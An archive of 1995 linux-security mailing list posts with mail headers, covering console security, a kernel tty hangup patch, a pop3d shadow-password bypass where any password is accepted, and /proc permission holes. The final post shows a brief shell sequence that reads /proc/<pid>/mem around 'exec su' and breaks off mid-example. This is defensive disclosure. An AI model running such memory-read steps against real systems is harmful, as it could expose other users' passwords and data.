Hence, it's basically impossible for the kernel for the kernel to reset the video mode to anything sane when the SAK is pressed. The right way to do things is that the kernel should be responsible for setting and resetting the video modes, and all the programs that currently muck with such things (X11, dosemu, svgalib, etc.) would rely on kernel calls to do their work. This has the further advantage that programs that rely on svgalib no longer need to be setuid root, and that buggy X servers, dosemu, and svgalib programs can no longer render the console to be useless, requiring a reboot to fix things. The main reason why no one has done any of these work? Probably because in 99.7% of the Linux boxes out there, console security is basically pointless. If you have access to the Linux console, you probably also have access to the computer --- specifically, you can probably insert your own boot floppy, and reboot the machine by hitting the magic "big red button", or simply by power cycling the machine. It's possible to close off some of these holes, if you have a BIOS that allows passwords (although someone has already posted the routine that will allow you to retrieve the password from the CMOS for AMI BIOS's), AND you can disable booting from the floppy, AND you don't allow any other OS, like DOS, to be booted from LILO, AND you configure LILO so that the user can't specify arguments to the boot command, AND the CPU box is locked up so someone can't open up the case, and blast the contents of the CMOS. However, most of the time people just don't care about console security. If you're running Linux as timesharing machine (or a dialup server, or a PPP server, or whatever), it wants to be locked up somewhere where you can provide good physical security for the machine. If you're running it as a single-user workstation, then console security isn't important. There are some rare cases where console security is actually important in real life. However, these are the execption, not the rule. That's why I never bothered taking the SAK code any further than where I had left it. If someone wants to take it further, be my guest! However, be warned that the number of people who will find it useful will be relatively small, and it's not going to be easy. Many people will therefore probably find it not worth doing (unless of course they need it themselves for their own application --- in which case they should be warned that they had better think about other ways that someone with access to the console can break into their system). - Ted linux-security/1995/linux-security.950929100664 1767 1767 15443 6033037310 17265 0ustar majdommajdomFrom [email protected] Fri Sep 29 00:26:14 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id AAA19957; Fri, 29 Sep 1995 00:21:57 -0400 Received: from magenta.com ([email protected] [198.82.200.60]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with ESMTP id QAA13755; Thu, 28 Sep 1995 16:35:29 -0400 Received: (moth@localhost) by magenta.com (8.6.12/8.6.4) id QAA15235; Thu, 28 Sep 1995 16:28:19 -0400 Date: Thu, 28 Sep 1995 16:28:19 -0400 Message-Id: <[email protected]> From: Raul Miller Reply-to: Raul Miller To: "Theodore Ts'o" Cc: [email protected] In-reply-to: <[email protected]> ([email protected]) Subject: Re: console security (was Re: problem wi Sender: [email protected] Precedence: list Ted Ts'o writes: Huh? There is no copyright notice on setserial at all, mostly because I never got around to it --- it was originally such a trivial program that I never bothered. An oversight on my part; the intent was that the file be freely redistributable, and indeed it's my impression that most distributions are including it as a matter of course. Sounds good. For what it's worth, the legal status of a document without a copyright is that no one is allowed to distribute it but the author. This has been international law for the last few years. [Older documents without copyright notices are still distributable under the old rules.] This is the first that I had heard that anyone had any hangups about the copyright status of setserial; I wish people who had such concerns would contact me directly, instead of flaming publically about it. I very easily put a free redistribution notice on the file, if that what it takes to make people happy. I apologize for this flame bit. At the time I composed that letter, I had long since moved to a system without a copy of setserial (or its sources) -- I did not think I had a right to them. I didn't know you were the author, or I would have pointed this aspect out to you. I don't think this conversation has much to do with linux-security beyond this: I'm sorry about the flame. -- Raul From [email protected] Fri Sep 29 14:45:22 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id OAA29520; Fri, 29 Sep 1995 14:32:01 -0400 Received: from MIT.EDU (SOUTH-STATION-ANNEX.MIT.EDU [18.72.1.2]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with SMTP id CAA24055; Fri, 29 Sep 1995 02:47:19 -0400 Received: from DCL.MIT.EDU by MIT.EDU with SMTP id AA11172; Fri, 29 Sep 95 02:46:44 EDT Received: by dcl.MIT.EDU (5.0/4.7) id AA07586; Fri, 29 Sep 1995 02:47:10 -0400 Date: Fri, 29 Sep 1995 02:47:10 -0400 From: "Theodore Ts'o" Message-Id: <[email protected]> To: Malcolm Beattie Cc: [email protected] Cc: [email protected] In-Reply-To: Malcolm Beattie's message of Fri, 22 Sep 1995 11:45:53 +0000 (BST), <[email protected]> Subject: Re: Problem with /dev/ttyp* Address: 1 Amherst St., Cambridge, MA 02139 Phone: (617) 253-8091 Content-Length: 3616 Sender: [email protected] Precedence: list From: Malcolm Beattie Date: Fri, 22 Sep 1995 11:45:53 +0000 (BST) > In any case, nowhere in POSIX is it specified that access to the tty is > revoked (as in a hangup) to other processes after it is acquired as a > controlling terminal by a session loeader. Although not required, it seems to be allowed. In the Rationale under "Implementing Job Control Systems", it mentions the vhangup() and SysV behaviour and and confirms that conforming POSIX application's shouldn't muck around with a controlling terminal after logout. Yes, looking more closely, it does seem to be allowed --- not when a tty is acquired as a controlling tty by a session leader, but upon the exit of the session leader of the preceeding process. After thinking about this some more, doing an implicit vhangup when the controlling terminal exits might not be a bad idea. I can't think of any problems this might cause. So here's a patch to do this (along with another patch which fixes certain pty opening problems). If people could try this out and let me know how it works, I'd appreciate it. Please let me know if this patch causes any problems. We're making a pretty big change in what happens at logout time, so I'd appreciate as much testing as possible. I know about you work on Linux, of course, which is why I'm wary about making claims which apparently contradict your feelings. What I seem to be claiming is that POSIX *allows* (rather than requires) an implementation where the acquiring of a terminal as a controlling terminal results in any other process being unable to read/write to that terminal. Nope, that's not what it says. It allows for the operating system to revoke access to all other file descriptors that point to the controlling tty of the session leader, when the session leader exits. That's not the same as revoking all access by other processes when a session leader acquires a tty as a controlling tty. Again, if you can show otherwise, please send me or quote me the section number of the POSIX standard which you think might be applicable. - Ted =================================================================== RCS file: kernel/RCS/exit.c,v retrieving revision 1.1 diff -u -r1.1 kernel/exit.c --- kernel/exit.c 1995/09/29 03:37:23 1.1 +++ kernel/exit.c 1995/09/29 06:25:38 @@ -480,8 +480,11 @@ kill_pg(p->pgrp,SIGCONT,1); } } - if (current->leader) + if (current->leader) { + if (current->tty) + tty_vhangup(current->tty); disassociate_ctty(1); + } } NORET_TYPE void do_exit(long code) =================================================================== RCS file: drivers/char/RCS/pty.c,v retrieving revision 1.1 diff -u -r1.1 drivers/char/pty.c --- drivers/char/pty.c 1995/09/29 03:37:29 1.1 +++ drivers/char/pty.c 1995/09/29 03:39:14 @@ -77,9 +77,10 @@ return; wake_up_interruptible(&tty->link->read_wait); wake_up_interruptible(&tty->link->write_wait); - if (tty->driver.subtype == PTY_TYPE_MASTER) + if (tty->driver.subtype == PTY_TYPE_MASTER) { tty_hangup(tty->link); - else { + set_bit(TTY_SLAVE_CLOSED, &tty->flags); + } else { start_tty(tty); set_bit(TTY_SLAVE_CLOSED, &tty->link->flags); } @@ -204,7 +205,8 @@ set_bit(TTY_THROTTLED, &tty->flags); if (filp->f_flags & O_NDELAY) return 0; - while (!tty->link->count && !(current->signal & ~current->blocked)) + while (test_bit(TTY_SLAVE_CLOSED, &tty->link->flags) && + !(current->signal & ~current->blocked)) interruptible_sleep_on(&pty->open_wait); if (!tty->link->count) return -ERESTARTSYS; linux-security/1995/linux-security.950930100664 1767 1767 7454 6033146117 17246 0ustar majdommajdomFrom [email protected] Sat Sep 30 00:49:11 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id AAA00064; Sat, 30 Sep 1995 00:36:48 -0400 Received: from bootes.cus.cam.ac.uk ([email protected] [131.111.8.1]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with SMTP id VAA31984; Fri, 29 Sep 1995 21:39:25 -0400 Received: by bootes.cus.cam.ac.uk (Smail-3.1.29.0 #36) id m0syqtU-000BzQC; Sat, 30 Sep 95 02:39 BST Received: by chiark id (Debian /\oo/\ Smail3.1.29.1 #29.33); Sat, 30 Sep 95 02:36 BST Message-Id: Date: Sat, 30 Sep 95 02:36 BST From: Ian Jackson To: [email protected] Subject: Re: console security (was Re: problem with selection)h Sender: [email protected] Precedence: list > [mod: Linux has had the secure attention key for a very long time; it can > be enabled using setserial. Is there any indication that it doesn't > work? --okir] Yes. In April last I sent the attached message to linux-serial. The problem is still be present in 1.2.13, except that SAK (line break) now reliably does nothing once a user is logged in. In May I wrote to Ted Ts'o and said "have you seen my bug report", and he said "no". I sent it to him again. I have not had any reply since. This is not a critical issue for me (unlike the massive and numerous holes in /proc, currently being discussed on linux-kernel), so I haven't investigated deeply. I have to say I'm not particularly impressed with the responsiveness to bug reports about the serial driver. From kernel version 1.1.13 to 1.1.40 or so hardware flow control was broken. I kept reporting this, and was told things like "well, most people mailing me say it works for them", and it took several months before the problem was acknowledged and then fixed. In the meantime of course I'd been unable to test the recent 1.1.x series kernels and a data-corrupting bug had been introduced in the floppy driver. Andries Brouwer writes ("Re: console security"): > It does not work in several other senses, as Zygo mentioned: > It does not assure a default key mapping. > [How could it? Read it from a file? That is not something > that belongs in the kernel, it is something that login might do. > Reset to a universal default? But that probably makes the > keyboard very difficult to use. > A german keyboard interchanges y and z. > A french keyboard interchanges a and q, and w and z. > All national keyboards permute the nonletters nondigits in a random way.] > It does not assure a default font. > [How could it? Go back to the font in the character ROM? > A possibility, but again a decision that is better taken outside the kernel.] > It does not assure a default character set to font mapping. > It does not assure that the console is in a useable mode. I was going to say that only root may load new keymaps, change video mode, &c, however this appears to be false, for keymaps at least. Under the circumstances the correct solution, IMO, is to have a version of getty which reset all of this stuff. > Since one is not sure of the key mapping, one doesn't know for sure > that the key one presses is really the SAK. The SAK should clearly not be remappable (except by root). > Then there is the matter of aliasing. A file descriptor to /dev/tty2 > allows access to the keyboard, so killing everybody on /dev/tty1 is not > enough. Can a process on tty2 really access keystrokes on the whole console ? If so, WHY ???!!! Who the hell thought that this would be a really nifty "feature" to add. I've just had to do surgery to make the procfs secure on my system, and it has broken strace and gdb, and now I discover that this "really neat feature" mindset is all-pervasive. GRRRR ! Ian. linux-security/1995/linux-security.951001100664 1767 1767 10453 6033575234 17253 0ustar majdommajdomFrom [email protected] Sun Oct 1 16:31:17 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id PAA06858; Sun, 1 Oct 1995 15:56:32 -0400 Received: from MIT.EDU (SOUTH-STATION-ANNEX.MIT.EDU [18.72.1.2]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with SMTP id DAA00749; Sat, 30 Sep 1995 03:00:29 -0400 Received: from DCL.MIT.EDU by MIT.EDU with SMTP id AA26828; Sat, 30 Sep 95 03:00:00 EDT Received: by dcl.MIT.EDU (5.0/4.7) id AA16730; Sat, 30 Sep 1995 03:00:22 -0400 Date: Sat, 30 Sep 1995 03:00:22 -0400 From: "Theodore Ts'o" Message-Id: <[email protected]> To: Ian Jackson Cc: [email protected] In-Reply-To: Ian Jackson's message of Sat, 30 Sep 95 02:36 BST, Subject: Re: console security (was Re: problem with selection)h Address: 1 Amherst St., Cambridge, MA 02139 Phone: (617) 253-8091 Content-Length: 2048 Sender: [email protected] Precedence: list Date: Sat, 30 Sep 95 02:36 BST From: Ian Jackson In May I wrote to Ted Ts'o and said "have you seen my bug report", and he said "no". I sent it to him again. I have not had any reply since. I don't think I saw the bug report the second time, sorry..... in any case I don't remember it. I have to say I'm not particularly impressed with the responsiveness to bug reports about the serial driver. From kernel version 1.1.13 to 1.1.40 or so hardware flow control was broken. I kept reporting this, and was told things like "well, most people mailing me say it works for them", and it took several months before the problem was acknowledged and then fixed. In the meantime of course I'd been unable to test the recent 1.1.x series kernels and a data-corrupting bug had been introduced in the floppy driver. I'm busy; very busy. Bug reports which don't contain a lot of information, or which can't be easily reproduced, I don't spend a lot of time on. Sorry, that's just the way it is. When someone actually took the time to send me a reproduceable bug report, (spending some amount of their own time doing their own analysis), so I could see what the problem was, I fixed it promptly. The serial driver is a very hard piece of code to maintain, since in many cases the bug is in the setup, or the application software, and not in the kernel. Often, I don't have a copy of the particular version of getty, or login, or uucp, or whatever where someone is seeing the problem, making it even hard for me to reproduce the problem. If you want me to spend large amounts of time working on your particular problem, including reproducing your environment so I can try to find your bug, when you can't be bothered to do some of the analysis on your end, you've got another think coming. I do a lot of work for the Linux community, gratis; if you want more time out of my own life than that which I will gladly offer to the community, you're going to have to pay for it. - Ted [Mod: Ian's most recent post(s), along with parts of this thread on console security and the serial driver, seem to have touched a nerve with a couple of people. lilo also posted two brief comments on this, which I am attaching here, rather than approving as separate posts, as they sort of reiterate what Ted has said. Please take the rest of this thread to private e-mail unless new developments warrant a return to list postings. I am trying to avoid the situation that lilo mentions in post 1. --Jeff.] Post 1 from lilo: This is one of those, `Mr. Software Person, if you're listening, I'm really dissatisfied with the free work you're doing' messages. I saw a lot of those on linux-gcc before I unsubscribed because there seemed to be more complaining than constructive comments.... Unless you're planning on taking over the maintenance of the serial drivers for Linux...? Post 2 from lilo: Ted has made the point, repeatedly, that if you have access to the console, you have access to pretty much the whole machine. Local security on PC equipment has never been very good. The point is arguable, but Ted's problem with the cost-benefit ratio of enhancements to security which can be overridden with a floppy is certainly understandable. linux-security/1995/linux-security.951004100664 1767 1767 15044 6034611246 17252 0ustar majdommajdomFrom [email protected] Wed Oct 4 12:39:17 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id LAA32156; Wed, 4 Oct 1995 11:55:05 -0400 Received: from dhp.com (dhp.com [199.245.105.1]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with ESMTP id LAA31944; Wed, 4 Oct 1995 11:29:28 -0400 Received: (from panzer@localhost) by dhp.com (8.7/8.6.12) id LAA20720 for [email protected]; Wed, 4 Oct 1995 11:28:04 -0400 Date: Wed, 4 Oct 1995 11:28:04 -0400 From: Panzer Boy Message-Id: <[email protected]> To: [email protected] Subject: (fwd) [Linux-ISP] U R G E N T!!!! S E C U R I T Y A L E R T!!!!!!! READ NOW!! Organization: DataHaven Project +1 412 421 4516 Sender: [email protected] Precedence: list Has anyone poked into this yet? I just gleamed it off of of the Linux ISP list. I am running pop from the pine imap code (w/ shadow changes) and wasn't able to verify this problem, though I don't usually run bins I gleam from sunsite, et al. pine3.91 imap/pop shadow patches can be grabbed from: ftp.dhp.com:/pub/linux/security/pine.shadow -- -Matt ([email protected]) DI-1-9026 "That which can never be enforced should not be prohibited." Path: news.dhp.com!news.dhp.com!not-for-mail From: System Administrator Newsgroups: mail.linux-isp Subject: [Linux-ISP] U R G E N T!!!! S E C U R I T Y A L E R T!!!!!!! READ NOW!! Date: 1 Oct 1995 19:19:35 -0400 Message-ID: To: [email protected] I have recently discovered a security flaw in pop3d Version 1.004 with shadow password support. (Not sure about the version without shadow support, but you might want to check). I discovered that after changing to shadow support and compiling and testing all of my programs (i.e. ftpd, pop3d, login, etc) that the pop3d allowed me to view anyone mail on my system, no matter what password I put in. Thinking that it was maybe something I had wrong I telneted to the pop3 port on a few of the shadow linux systems I knew about. EVERY System I tried that was running 1.004 allowed me to read anyone on that systems mail. I have looked at the code and have narrowed it down to the util.c file, but am in no way a very good c programmer. I am putting out this notice to warn everone and to hope that someone will come up with a fix very quickly. And since my newsfeed is down for the weekend would someone please post this on the newsgroups and anywhere else you might think it will get distributed the fastest. Thanks. /---------------------------------------------------------------------------\ | John Maslanik |\/| | \ / Voice: (619) 449-6282 | | MLXnet Admin | | |__ / \ Data/Fax: (619) 449-6274 | \---------------------------------------------------------------------------/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ To [un]subscribe to this list, contact [email protected] Please send contributions for the mailing list to: [email protected] Please contact the mailing-list-owner as: [email protected] From [email protected] Wed Oct 4 18:37:35 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id SAA02139; Wed, 4 Oct 1995 18:26:10 -0400 Received: from Northwest.com ([email protected] [204.119.42.1]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with SMTP id QAA01244; Wed, 4 Oct 1995 16:01:37 -0400 Received: by Northwest.com (Linux Smail3.1.29.1 #1) id m0t0a6q-0003nIC; Wed, 4 Oct 95 13:08 PDT Date: Wed, 4 Oct 1995 13:08:04 -0700 (PDT) From: root To: Panzer Boy cc: [email protected] Subject: Re: (fwd) [Linux-ISP] U R G E N T!!!! S E C U R I T Y A L E R T!!!!!!! READ NOW!! In-Reply-To: <[email protected]> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list > I have recently discovered a security flaw in pop3d Version 1.004 with > shadow password support. (Not sure about the version without shadow > support, but you might want to check). [mod: rest of quoted article removed --okir] I checked my non-shadow system, and it doesn't let me read other mail without the actual passwd. sean From [email protected] Wed Oct 4 19:02:54 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id TAA02397; Wed, 4 Oct 1995 19:01:18 -0400 Received: from Viet.Viet.COM ([email protected] [192.100.81.121]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with ESMTP id SAA02365; Wed, 4 Oct 1995 18:58:03 -0400 Received: (from pfnguyen@localhost) by Viet.Viet.COM (8.7.1/8.7.1) id PAA02347; Wed, 4 Oct 1995 15:57:41 -0700 Date: Wed, 4 Oct 1995 15:57:38 -0700 (PDT) From: Perry F Nguyen Reply-To: [email protected] To: Panzer Boy cc: [email protected] Subject: Re: (fwd) [Linux-ISP] U R G E N T!!!! S E C U R I T Y A L E R T!!!!!!! READ NOW!! In-Reply-To: <[email protected]> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list On Wed, 4 Oct 1995, Panzer Boy wrote: [Mod: Quoting trimmed. --Jeff.] > I have recently discovered a security flaw in pop3d Version 1.004 with > shadow password support. (Not sure about the version without shadow > support, but you might want to check). I discovered that after changing > to shadow support and compiling and testing all of my programs (i.e. > ftpd, pop3d, login, etc) that the pop3d allowed me to view anyone mail on > my system, no matter what password I put in. Thinking that it was maybe This is quite the problem with the compiled version of pop3d with shadow, not a bug in the program itself. The person that compiled it most likely removed the valid() function call in util.c which is what checks for a proper password. To properly fix this, one must compiled pop3d with valid.o from the shadow suite, or include valid.o in libshadow.a -- pub 1024/0D97E00D 1995/01/01 Perry "Huy" Francis Nguyen Key fingerprint = CE 62 F2 01 33 87 9D 89 BC 53 8D 11 F9 A0 DE 8F - FTP ftp://ftp.netcom.com/pub/pf/pfn FTP or finger [email protected] for PGP Public Key. linux-security/1995/linux-security.951006100664 1767 1767 27653 6035300635 17263 0ustar majdommajdomFrom [email protected] Fri Oct 6 15:20:10 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id OAA18242; Fri, 6 Oct 1995 14:54:27 -0400 Received: from marlene.metaworks.de ([email protected] [193.141.95.13]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with ESMTP id XAA04599; Wed, 4 Oct 1995 23:33:45 -0400 Received: (from torsten@localhost) by marlene.metaworks.de (8.6.9/8.6.9) id EAA01576; Thu, 5 Oct 1995 04:33:48 +0100 Date: Thu, 5 Oct 1995 04:33:47 +0100 From: Torsten Eichstaedt Subject: Re: (fwd) [Linux-ISP] U R G E N T!!!! S E C U R I T Y A L E R T!!!!!!! READ NOW!! To: [email protected] In-Reply-To: <[email protected]> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list I could not verify this bug at systems *without* shadow pw. I tested pop3d 1.004 on SunOS 4.1.3 and on Linux 1.2.x. Bye, to -- Torsten Eichstaedt eMail: [email protected] Internet-Support [email protected] MetaWorks GmbH, Florinsmarkt 5, D 56068 Koblenz, phone: +49 261 9114350 From [email protected] Fri Oct 6 15:20:12 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id OAA18229; Fri, 6 Oct 1995 14:53:36 -0400 Received: from marlene.metaworks.de ([email protected] [193.141.95.13]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with ESMTP id WAA04341; Wed, 4 Oct 1995 22:59:29 -0400 Received: (from torsten@localhost) by marlene.metaworks.de (8.6.9/8.6.9) id DAA01500; Thu, 5 Oct 1995 03:58:56 +0100 Date: Thu, 5 Oct 1995 03:58:56 +0100 From: Torsten Eichstaedt Subject: Re: (fwd) [Linux-ISP] U R G E N T!!!! S E C U R I T Y A L E R T!!!!!!! READ NOW!! To: Panzer Boy cc: [email protected] In-Reply-To: <[email protected]> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list On Wed, 4 Oct 1995, Panzer Boy wrote: > [...] > to hope that someone will come up with a fix very quickly. And since my > newsfeed is down for the weekend would someone please post this on the > newsgroups and anywhere else you might think it will get distributed the > fastest. Thanks. > Oh no, please. It's too easy to read a newsgroup, and thousands of clowns will try to exploit this bug; but there are only a few real intruders on this mailing list that will read my mail folder (there's nothing in there that blames me, I hope :) ). to -- Torsten Eichstaedt eMail: [email protected] Internet-Support [email protected] MetaWorks GmbH, Florinsmarkt 5, D 56068 Koblenz, phone: +49 261 9114350 From [email protected] Fri Oct 6 15:20:13 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id OAA18247; Fri, 6 Oct 1995 14:54:44 -0400 Received: from parker.EECS.Berkeley.EDU ([email protected] [128.32.138.20]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with ESMTP id CAA06877; Thu, 5 Oct 1995 02:16:21 -0400 Received: (from nickkral@localhost) by parker.EECS.Berkeley.EDU (8.6.10/8.6.9) id XAA24972; Wed, 4 Oct 1995 23:16:16 -0700 Date: Wed, 4 Oct 1995 23:16:16 -0700 (PDT) From: Nick Kralevich To: [email protected] Subject: Kernel /proc security holes Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list I've heard numerous people mention the security holes in the /proc filesystem. From what I have heard, most of the discussion goes on in the Linux kernel mailing list. However, I don't subscribe to that list. Right now I am running 1.2.13. Are there any known security holes in that version? If so, how would I go about patching those holes? Would someone mind summerizing the /proc security holes that have been found so far? Take care, -- Nick Kralevich [email protected] From [email protected] Fri Oct 6 15:20:14 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id OAA18222; Fri, 6 Oct 1995 14:53:20 -0400 Received: from orion.it.luc.edu ([email protected] [147.126.1.9]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with ESMTP id KAA09602; Thu, 5 Oct 1995 10:30:42 -0400 Received: (from ggallag@localhost) by orion.it.luc.edu (8.6.12/8.6.12) id JAA54624; Thu, 5 Oct 1995 09:30:35 -0500 Date: Thu, 5 Oct 1995 09:30:35 -0500 (CDT) From: Greg Gallagher To: Panzer Boy cc: [email protected] Subject: Re: (fwd) [Linux-ISP] U R G E N T!!!! S E C U R I T Y A L E R T!!!!!!! READ NOW!! In-Reply-To: <[email protected]> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list > I have recently discovered a security flaw in pop3d Version 1.004 with > shadow password support. (Not sure about the version without shadow > support, but you might want to check). I discovered that after changing yeah ... the problem lies in that for some reason, the shadow library doesn't compile in the object valid.o. I've no clue why, I didn't really look too deeply into it, I just recompiled the popd and linked the valid.o to it, and it worked like a charm. If this is the same problem I'm thinking of, sorry I can't get line numbers, but the problem is with the line that contains the valid() function in the pop source, I believe. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Greg Gallagher | "When the fox gnaws--smile!" Loyola University, student | (312)973-9375 | -- L. L. pgp key avilable upon request | ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ On Wed, 4 Oct 1995, Panzer Boy wrote: > Has anyone poked into this yet? I just gleamed it off of of the Linux ISP > list. I am running pop from the pine imap code (w/ shadow changes) and > wasn't able to verify this problem, though I don't usually run bins I > gleam from sunsite, et al. > > pine3.91 imap/pop shadow patches can be grabbed from: > ftp.dhp.com:/pub/linux/security/pine.shadow > > -- > -Matt ([email protected]) DI-1-9026 > "That which can never be enforced should not be prohibited." > > > Path: news.dhp.com!news.dhp.com!not-for-mail > From: System Administrator > Newsgroups: mail.linux-isp > Subject: [Linux-ISP] U R G E N T!!!! S E C U R I T Y A L E R T!!!!!!! READ NOW!! > Date: 1 Oct 1995 19:19:35 -0400 > Message-ID: > To: [email protected] > > to shadow support and compiling and testing all of my programs (i.e. > ftpd, pop3d, login, etc) that the pop3d allowed me to view anyone mail on > my system, no matter what password I put in. Thinking that it was maybe > something I had wrong I telneted to the pop3 port on a few of the shadow > linux systems I knew about. EVERY System I tried that was running 1.004 > allowed me to read anyone on that systems mail. I have looked at the > code and have narrowed it down to the util.c file, but am in no way a > very good c programmer. I am putting out this notice to warn everone and > to hope that someone will come up with a fix very quickly. And since my > newsfeed is down for the weekend would someone please post this on the > newsgroups and anywhere else you might think it will get distributed the > fastest. Thanks. > > > > /---------------------------------------------------------------------------\ > | John Maslanik |\/| | \ / Voice: (619) 449-6282 | > | MLXnet Admin | | |__ / \ Data/Fax: (619) 449-6274 | > \---------------------------------------------------------------------------/ > > ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ > To [un]subscribe to this list, contact [email protected] > Please send contributions for the mailing list to: [email protected] > Please contact the mailing-list-owner as: [email protected] > From [email protected] Fri Oct 6 15:20:17 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id OAA18235; Fri, 6 Oct 1995 14:53:43 -0400 Received: from dhp.com (dhp.com [199.245.105.1]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with ESMTP id BAA05901; Thu, 5 Oct 1995 01:22:49 -0400 Received: (from panzer@localhost) by dhp.com (8.7/8.6.12) id BAA31664; Thu, 5 Oct 1995 01:21:45 -0400 To: [email protected] Path: news.dhp.com!not-for-mail From: [email protected] (Panzer Boy) Newsgroups: mail.linux-security Subject: Re: pop3d stuff Date: 5 Oct 1995 01:21:39 -0400 Organization: DataHaven Project +1 412 421 4516 Lines: 11 Message-ID: <[email protected]> References: <[email protected]> X-Newsreader: TIN [version 1.2 PL2+color] Sender: [email protected] Precedence: list Just a quick clarification. I didn't write the original message, or even come up with the annoyingly long Subject line. I just found it on the linux-ISP list, and figured that it should belong here on the linux-security list. I have yet to hear of anyone else with this problem, so maybe this guy managed to find the only binary with this problem, or he compiled it himself and doesn't remember. -- -Matt ([email protected]) DI-1-9026 "That which can never be enforced should not be prohibited." From [email protected] Fri Oct 6 15:20:25 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id OAA18216; Fri, 6 Oct 1995 14:53:09 -0400 Received: from animal.blarg.net (root@[204.182.184.1]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with ESMTP id XAA04395; Wed, 4 Oct 1995 23:04:29 -0400 Received: from beaker.blarg.net ([email protected] [204.182.184.4]) by animal.blarg.net (8.6.12/8.6.9) with SMTP id UAA09137; Wed, 4 Oct 1995 20:02:25 -0700 Date: Wed, 4 Oct 1995 20:02:24 -0700 (PDT) From: Marc Lewis To: Panzer Boy cc: [email protected] Subject: Re: POP3 security hole (Maybe just one distribution/binary?) In-Reply-To: <[email protected]> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list On Wed, 4 Oct 1995, Panzer Boy wrote: > Panzer Boy writes to the Seattle Linux Mailing List: > > Has anyone poked into this yet? I just gleamed it off of of the Linux ISP > list. I am running pop from the pine imap code (w/ shadow changes) and > wasn't able to verify this problem, though I don't usually run bins I > gleam from sunsite, et al. > > pine3.91 imap/pop shadow patches can be grabbed from: > ftp.dhp.com:/pub/linux/security/pine.shadow > I just tested this on our system (v1.004) and it kept me out. I even tried a few good passwords and it wouldn't let me in. We did build this in.pop3d ourselves, however... - Marc -----------------------------+--------------------------------------------- Marc Lewis ([email protected]) | Blarg! Online Services - Seattle, WA Data: 206/812-1621 - or - | BBS - Shell - SLIP - PPP - 56k Frame Relay telnet to animal.blarg.net | Consulting services & setup available then login as 'new' | World-Wide-Web: http://www.blarg.net/ -----------------------------+--------------------------------------------- linux-security/1995/linux-security.951011100664 1767 1767 26333 6037003623 17250 0ustar majdommajdomFrom [email protected] Wed Oct 11 14:05:58 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id NAA07096; Wed, 11 Oct 1995 13:24:37 -0400 Received: from i17linuxb.ists.pwr.wroc.pl ([email protected] [156.17.35.8]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with ESMTP id OAA03383; Tue, 10 Oct 1995 14:21:31 -0400 Received: (from marekm@localhost) by i17linuxb.ists.pwr.wroc.pl (8.6.12/8.6.9) id TAA19122; Tue, 10 Oct 1995 19:16:14 +0100 From: Marek Michalkiewicz Message-Id: <[email protected]> Subject: Re: Kernel /proc security holes To: [email protected] (Nick Kralevich) Date: Tue, 10 Oct 1995 19:16:13 +0100 (MET) Cc: [email protected] In-Reply-To: from "Nick Kralevich" at Oct 4, 95 11:16:16 pm X-Mailer: ELM [version 2.4 PL23] Content-Type: text Content-Length: 1512 Sender: [email protected] Precedence: list Nick Kralevich: > I've heard numerous people mention the security holes in the /proc > filesystem. From what I have heard, most of the discussion goes on in > the Linux kernel mailing list. However, I don't subscribe to that list. > > Right now I am running 1.2.13. Are there any known security holes in > that version? If so, how would I go about patching those holes? Unfortunately, there are still some holes. The owner of /proc files is changed to root if the process becomes undumpable, but this change doesn't always take effect immediately. Here is one example (thanks to Ian Jackson for sending it to me): $ echo $$ ... $ ls -al /proc/ $ dd if=/proc//mem of=/dev/null ... $ exec su Password: $ 